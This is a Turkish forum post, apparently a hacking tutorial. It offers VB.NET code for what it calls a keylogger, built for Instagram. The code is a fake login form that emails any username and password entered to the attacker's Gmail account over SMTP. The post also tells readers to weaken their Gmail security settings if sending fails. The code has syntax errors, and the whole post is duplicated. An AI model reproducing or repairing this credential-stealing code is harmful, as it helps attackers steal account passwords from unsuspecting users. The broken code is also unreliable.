Selamlar Ben Editör Cin Bugün Sizlere Ufak Çaplı Bir Keylogger Yapımı Göstereceğim
Size Ufak Bir Çalışmamı Göstereyim
View attachment 2117
Ben Instagram İçin Yaptım Siz Dilediğiniz Gibi Yapın
KODLAR:
\/
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
İf Textbox1.text = "" Then
MsgBox("Şifre Yazınız")
Else
End İf
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmail", "gmail şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.from = New MailAdress("gmail")
mail.To.Add("gmail")
mail.Subject = "kullanıcı adı : " & Textbox1.text
mail.Body ("kullanıcı adı : " & textbox1.text & " şifre : " & Textbox2.Text & "Hata Mesajı Yazınız,''
smtpServer.Sendmail()
MsgBox("Mesaj Metniniz")
MsgBox("Mesaj Metniniz 2")
End Sub
----------------------------------------------------------------------------------------------------------------------------------------
EĞERKİ SEND MAİL HATASI ALIRSANIZ GMAİL HESABINIZI DAHA AZ GÜVENLİYE ALINIZ!!!!!
----------------------------------------------------------------------
Size Ufak Bir Çalışmamı Göstereyim
View attachment 2117
Ben Instagram İçin Yaptım Siz Dilediğiniz Gibi Yapın
KODLAR:
\/
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
İf Textbox1.text = "" Then
MsgBox("Şifre Yazınız")
Else
End İf
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmail", "gmail şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.from = New MailAdress("gmail")
mail.To.Add("gmail")
mail.Subject = "kullanıcı adı : " & Textbox1.text
mail.Body ("kullanıcı adı : " & textbox1.text & " şifre : " & Textbox2.Text & "Hata Mesajı Yazınız,''
smtpServer.Sendmail()
MsgBox("Mesaj Metniniz")
MsgBox("Mesaj Metniniz 2")
End Sub
----------------------------------------------------------------------------------------------------------------------------------------
EĞERKİ SEND MAİL HATASI ALIRSANIZ GMAİL HESABINIZI DAHA AZ GÜVENLİYE ALINIZ!!!!!
----------------------------------------------------------------------
Last edited: